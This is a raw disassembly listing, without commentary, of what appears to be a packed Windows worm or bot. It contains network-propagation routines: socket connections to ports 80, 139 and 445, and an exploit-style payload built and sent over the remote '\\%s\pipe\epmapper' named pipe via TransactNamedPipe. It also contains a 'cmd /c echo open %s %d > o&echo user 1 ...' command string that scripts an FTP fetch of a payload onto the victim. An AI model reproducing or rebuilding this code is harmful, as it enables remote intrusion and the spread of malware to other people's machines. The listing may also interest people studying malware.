loc_40D467: ; CODE XREF: sub_40D3E0+83j
push edi
call sub_41B721
pop ecx
loc_40D46E: ; CODE XREF: sub_40D3E0+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D873
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D873
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D3E0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_434F70
push eax
call near ptr sub_41C9B0
add esp, 0Ch
mov eax, offset byte_42AA54
push eax
push eax
movzx eax, word ptr dword_4CE048
push eax
push dword ptr [ebp+8]
call sub_40A8D5
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41BFF0
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_434E08
push eax
call sub_40CCAA
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D539
xor eax, eax
jmp loc_40D661
; ---------------------------------------------------------------------------
loc_40D539: ; CODE XREF: .XPack0:0040D530j
mov [ebp-0Ch], esi
loc_40D53C: ; CODE XREF: .XPack0:0040D63Cj
test esi, esi
jnz loc_40D642
push 6
push 1
push 2
call dword_42821C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D62A
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CE308 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CE348 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40D61F
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D5E7
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D873
lea eax, [ebp+0Ch]
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D8AB
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D3E0
add esp, 1Ch
jmp short loc_40D61C
; ---------------------------------------------------------------------------
loc_40D5E7: ; CODE XREF: .XPack0:0040D5A5j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D601
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1A3
jmp short loc_40D619
; ---------------------------------------------------------------------------
loc_40D601: ; CODE XREF: .XPack0:0040D5F1j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D61F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D0C4
loc_40D619: ; CODE XREF: .XPack0:0040D5FFj
add esp, 0Ch
loc_40D61C: ; CODE XREF: .XPack0:0040D5E5j
movzx esi, al
loc_40D61F: ; CODE XREF: .XPack0:0040D598j
; .XPack0:0040D60Bj
push ebx
call dword_4CE3A0 ; closesocket
test esi, esi
jnz short loc_40D635
loc_40D62A: ; CODE XREF: .XPack0:0040D555j
push 3E8h
call dword_428080 ; Sleep
loc_40D635: ; CODE XREF: .XPack0:0040D628j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D53C
loc_40D642: ; CODE XREF: .XPack0:0040D53Ej
lea ecx, [ebp-8]
call sub_40CAD7
test esi, esi
jz short loc_40D65F
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_434060[eax]
inc dword ptr [eax]
loc_40D65F: ; CODE XREF: .XPack0:0040D64Cj
mov eax, esi
loc_40D661: ; CODE XREF: .XPack0:0040D534j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42750C
loc_40D666: ; CODE XREF: sub_42750C+3j
; .XPack0:00427525j ...
push 1
call sub_40D873
retn
; END OF FUNCTION CHUNK FOR sub_42750C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D66E proc near ; CODE XREF: sub_40D241+111p
; sub_40D241+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_40D685
call sub_426D4A
loc_40D685: ; CODE XREF: sub_40D66E+10j
cmp [ebp+arg_0], 0
jbe short loc_40D6C0
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40D7ED
test al, al
jz short loc_40D6C0
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BC00
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D6C0: ; CODE XREF: sub_40D66E+1Bj
; sub_40D66E+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D66E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6C8 proc near ; CODE XREF: sub_40D241+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40D6DF
call sub_426D4A
loc_40D6DF: ; CODE XREF: sub_40D6C8+10j
cmp [ebp+arg_4], 0
jbe short loc_40D718
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40D7ED
test al, al
jz short loc_40D718
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call near ptr sub_41C9B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D718: ; CODE XREF: sub_40D6C8+1Bj
; sub_40D6C8+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40D6C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D720 proc near ; CODE XREF: sub_40D241+179p
; sub_426C60+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D738
call sub_426C23
loc_40D738: ; CODE XREF: sub_40D720+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D74A
mov esi, [ebp+arg_8]
loc_40D74A: ; CODE XREF: sub_40D720+25j
cmp edi, ebx
jnz short loc_40D768
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_40D8E0
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D8E0
jmp short loc_40D7E4
; ---------------------------------------------------------------------------
loc_40D768: ; CODE XREF: sub_40D720+2Cj
test esi, esi
jbe short loc_40D7AB
cmp esi, eax
jnz short loc_40D7AB
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D77C
mov eax, offset dword_428690
loc_40D77C: ; CODE XREF: sub_40D720+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D7AB
push 1
mov ecx, edi
call sub_40D873
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D797
mov eax, offset dword_428690
loc_40D797: ; CODE XREF: sub_40D720+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D7E4
; ---------------------------------------------------------------------------
loc_40D7AB: ; CODE XREF: sub_40D720+4Aj
; sub_40D720+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40D7ED
test al, al
jz short loc_40D7E4
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_40D7C8
mov eax, offset dword_428690
loc_40D7C8: ; CODE XREF: sub_40D720+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call near ptr sub_41C9B0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D7E4: ; CODE XREF: sub_40D720+46j
; sub_40D720+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D720 endp
; =============== S U B R O U T I N E =======================================
sub_40D7ED proc near ; CODE XREF: sub_40D241+3Dp
; sub_40D66E+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D7FF
call sub_426D4A
loc_40D7FF: ; CODE XREF: sub_40D7ED+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_40D827
mov cl, [eax-1]
cmp cl, dl
jz short loc_40D827
cmp cl, 0FFh
jz short loc_40D827
cmp edi, edx
mov ecx, esi
jnz short loc_40D866
dec byte ptr [eax-1]
push edx
loc_40D81E: ; CODE XREF: sub_40D7ED+48j
call sub_40D873
loc_40D823: ; CODE XREF: sub_40D7ED+4Cj
; sub_40D7ED+53j
xor al, al
jmp short loc_40D86E
; ---------------------------------------------------------------------------
loc_40D827: ; CODE XREF: sub_40D7ED+19j
; sub_40D7ED+20j ...
cmp edi, edx
jnz short loc_40D842
cmp [esp+8+arg_4], dl
jz short loc_40D837
push 1
mov ecx, esi
jmp short loc_40D81E
; ---------------------------------------------------------------------------
loc_40D837: ; CODE XREF: sub_40D7ED+42j
cmp eax, edx
jz short loc_40D823
mov [esi+8], edx
mov [eax], dl
jmp short loc_40D823
; ---------------------------------------------------------------------------
loc_40D842: ; CODE XREF: sub_40D7ED+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40D85F
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D854
cmp eax, edi
jnb short loc_40D86C
loc_40D854: ; CODE XREF: sub_40D7ED+61j
push 1
mov ecx, esi
call sub_40D873
jmp short loc_40D864
; ---------------------------------------------------------------------------
loc_40D85F: ; CODE XREF: sub_40D7ED+59j
cmp [esi+0Ch], edi
jnb short loc_40D86C
loc_40D864: ; CODE XREF: sub_40D7ED+70j
mov ecx, esi
loc_40D866: ; CODE XREF: sub_40D7ED+2Bj
push edi
call sub_40D947
loc_40D86C: ; CODE XREF: sub_40D7ED+65j
; sub_40D7ED+75j
mov al, 1
loc_40D86E: ; CODE XREF: sub_40D7ED+38j
pop edi
pop esi
retn 8
sub_40D7ED endp
; =============== S U B R O U T I N E =======================================
sub_40D873 proc near ; CODE XREF: sub_40D241+1Fp
; sub_40D241+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D89B
mov eax, [esi+4]
test eax, eax
jz short loc_40D89B
dec eax
mov cl, [eax]
test cl, cl
jz short loc_40D894
cmp cl, 0FFh
jz short loc_40D894
dec byte ptr [eax]
jmp short loc_40D89B
; ---------------------------------------------------------------------------
loc_40D894: ; CODE XREF: sub_40D873+16j
; sub_40D873+1Bj
push eax
call sub_41D2EF
pop ecx
loc_40D89B: ; CODE XREF: sub_40D873+8j
; sub_40D873+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D873 endp
; =============== S U B R O U T I N E =======================================
sub_40D8AB proc near ; CODE XREF: .XPack0:0040D5D1p
; sub_40DA04+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40D7ED
test al, al
jz short loc_40D8D9
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call near ptr sub_41C9B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D8D9: ; CODE XREF: sub_40D8AB+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D8AB endp
; =============== S U B R O U T I N E =======================================
sub_40D8E0 proc near ; CODE XREF: sub_40D720+35p
; sub_40D720+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D8F3
call sub_426C23
loc_40D8F3: ; CODE XREF: sub_40D8E0+Cj
mov ecx, edi
call sub_40DA04
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D909
mov ebx, eax
loc_40D909: ; CODE XREF: sub_40D8E0+25j
test ebx, ebx
jbe short loc_40D93F
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D300
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D7ED
test al, al
jz short loc_40D93F
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D93F: ; CODE XREF: sub_40D8E0+2Bj
; sub_40D8E0+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D8E0 endp
; =============== S U B R O U T I N E =======================================
sub_40D947 proc near ; CODE XREF: sub_40D7ED+7Ap
mov eax, offset loc_427554
call sub_41D2D0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D96D
mov edi, [ebp+8]
loc_40D96D: ; CODE XREF: sub_40D947+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D97A
xor eax, eax
loc_40D97A: ; CODE XREF: sub_40D947+2Fj
push eax
call sub_41D635
pop ecx
mov [ebp+8], eax
jmp short loc_40D9AB
; ---------------------------------------------------------------------------
loc_40D986: ; DATA XREF: .XPack0:00428FA8o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D995
xor eax, eax
loc_40D995: ; CODE XREF: sub_40D947+4Aj
push eax
call sub_41D635
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D9A5
retn
; ---------------------------------------------------------------------------
loc_40D9A5: ; DATA XREF: sub_40D947+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D9AB: ; CODE XREF: sub_40D947+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D9C9
cmp eax, edi
jbe short loc_40D9B8
mov eax, edi
loc_40D9B8: ; CODE XREF: sub_40D947+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call near ptr sub_41C9B0
add esp, 0Ch
loc_40D9C9: ; CODE XREF: sub_40D947+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D873
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D9E9
mov edi, ebx
loc_40D9E9: ; CODE XREF: sub_40D947+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D947 endp
; =============== S U B R O U T I N E =======================================
sub_40DA04 proc near ; CODE XREF: sub_40D8E0+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DA31
mov al, [esi-1]
test al, al
jz short loc_40DA31
cmp al, 0FFh
jz short loc_40DA31
push 1
call sub_40D873
push esi
call sub_41B650
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D8AB
loc_40DA31: ; CODE XREF: sub_40DA04+9j
; sub_40DA04+10j ...
pop edi
pop esi
retn
sub_40DA04 endp
; =============== S U B R O U T I N E =======================================
sub_40DA34 proc near ; DATA XREF: .XPack0:0042A008o
test byte_4DE8E4, 1
jnz short loc_40DA44
or byte_4DE8E4, 1
loc_40DA44: ; CODE XREF: sub_40DA34+7j
jmp $+5
push offset nullsub_1
call sub_41D6B0
pop ecx
retn
sub_40DA34 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DA56 proc near ; CODE XREF: .XPack0:0040DE67p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_4355C0
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_4355B8 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_4404C4
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_4280E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D6F1
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D6F1
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4D1010
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CE3A8
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DB1A
cmp eax, ebx
jnz short loc_40DB24
loc_40DB1A: ; CODE XREF: sub_40DA56+BEj
push edi
push edi
push edi
push esi
call dword_4CE3A8
loc_40DB24: ; CODE XREF: sub_40DA56+C2j
cmp eax, 5
jz short loc_40DB32
cmp eax, ebx
jz short loc_40DB32
xor eax, eax
inc eax
jmp short loc_40DB34
; ---------------------------------------------------------------------------
loc_40DB32: ; CODE XREF: sub_40DA56+D1j
; sub_40DA56+D5j
xor eax, eax
loc_40DB34: ; CODE XREF: sub_40DA56+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DA56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB39 proc near ; CODE XREF: .XPack0:0040DEB9p
; .XPack0:0040DF99p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_4355C0
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_4355B8 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_4404C4
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_4280E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D6F1
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41D6F1
add esp, 10h
jmp short loc_40DBD7
; ---------------------------------------------------------------------------
loc_40DBCC: ; CODE XREF: sub_40DB39+AFj
push 7D0h
call dword_428080 ; Sleep
loc_40DBD7: ; CODE XREF: sub_40DB39+91j
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CE240
test eax, eax
jnz short loc_40DBCC
pop edi
inc eax
pop esi
leave
retn
sub_40DB39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DBEF proc near ; CODE XREF: .XPack0:0040DEE5p
; .XPack0:0040E026p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C190
push esi
push edi
push offset byte_42AA54
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B0CB
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DE3B
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call near ptr sub_41C9B0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BC00
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call near ptr sub_41C9B0
lea esi, [edi+0D7h]
jmp short loc_40DCB1
; ---------------------------------------------------------------------------
loc_40DC73: ; CODE XREF: sub_40DBEF+D0j
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call near ptr sub_41C9B0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BC00
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call near ptr sub_41C9B0
lea esi, [esi+edi+30h]
loc_40DCB1: ; CODE XREF: sub_40DBEF+82j
add esp, 24h
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_40DC73
cmp [ebp+arg_C4], 0
jz short loc_40DCDC
cmp [ebp+arg_C0], 3
jz short loc_40DCE5
cmp [ebp+arg_C0], 0
jmp short loc_40DCE3
; ---------------------------------------------------------------------------
loc_40DCDC: ; CODE XREF: sub_40DBEF+D9j
cmp [ebp+arg_C0], 3
loc_40DCE3: ; CODE XREF: sub_40DBEF+EBj
jnz short loc_40DCEE
loc_40DCE5: ; CODE XREF: sub_40DBEF+E2j
push 4
push offset dword_4355B4
jmp short loc_40DCF5
; ---------------------------------------------------------------------------
loc_40DCEE: ; CODE XREF: sub_40DBEF:loc_40DCE3j
push 4
push offset dword_4355B0
loc_40DCF5: ; CODE XREF: sub_40DBEF+FDj
lea eax, [ebp+var_1FE0]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_4350E8
push eax
call near ptr sub_41C9B0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_43544C
push eax
call near ptr sub_41C9B0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call near ptr sub_41C9B0
lea edi, [esi+370h]
push 3Ch
push offset off_435460
lea eax, [ebp+edi+var_1004]
push eax
call near ptr sub_41C9B0
add edi, 3Ch
push 30h
push offset dword_4354A0
lea eax, [ebp+edi+var_1004]
push eax
call near ptr sub_41C9B0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BB45
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BC00
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call near ptr sub_41C9B0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DE3B: ; CODE XREF: sub_40DBEF+3Ej
pop edi
pop esi
leave
retn
sub_40DBEF endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C190
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40DFAD
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DA56
pop ecx
test eax, eax
pop ecx
jz loc_40E0BD
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41BEF6
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_4280F8 ; CreateFileA
mov [ebp-4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+0Ch]
jnz short loc_40DEC4
loc_40DEB8: ; CODE XREF: .XPack0:0040DF65j
push eax
call sub_40DB39
pop ecx
jmp loc_40E0BD
; ---------------------------------------------------------------------------
loc_40DEC4: ; CODE XREF: .XPack0:0040DEB6j
push 2
push eax
call sub_418416
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DBEF
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40DF59
mov edi, 186A0h
push edi
call sub_41BB45
mov esi, eax
push edi
push ebx
push esi
call sub_41BC00
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_435098
push dword ptr [ebp-4]
call dword_4280F4 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40DF49
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call dword_4280F0 ; WriteFile
test eax, eax
jnz short loc_40DF6A
loc_40DF49: ; CODE XREF: .XPack0:0040DF2Fj
push esi
call sub_41B721
push dword ptr [ebp-8]
call sub_41B721
pop ecx
pop ecx
loc_40DF59: ; CODE XREF: .XPack0:0040DEF5j
push dword ptr [ebp-4]
call dword_428070 ; CloseHandle
lea eax, [ebp+0Ch]
jmp loc_40DEB8
; ---------------------------------------------------------------------------
loc_40DF6A: ; CODE XREF: .XPack0:0040DF47j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call dword_4280EC ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41B721
push esi
call sub_41B721
pop ecx
pop ecx
push dword ptr [ebp-4]
call dword_428070 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40DB39
cmp edi, 1
pop ecx
jnz loc_40E0D1
jmp loc_40E0BD
; ---------------------------------------------------------------------------
loc_40DFAD: ; CODE XREF: .XPack0:0040DE59j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_418416
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E0BD
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CE388 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E0BD
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BC00
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CE308 ; ntohs
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CE348 ; inet_addr
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DBEF
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E03F
push dword ptr [ebp-4]
jmp short loc_40E0B7
; ---------------------------------------------------------------------------
loc_40E03F: ; CODE XREF: .XPack0:0040E038j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CE2B0 ; connect
cmp eax, 0FFFFFFFFh
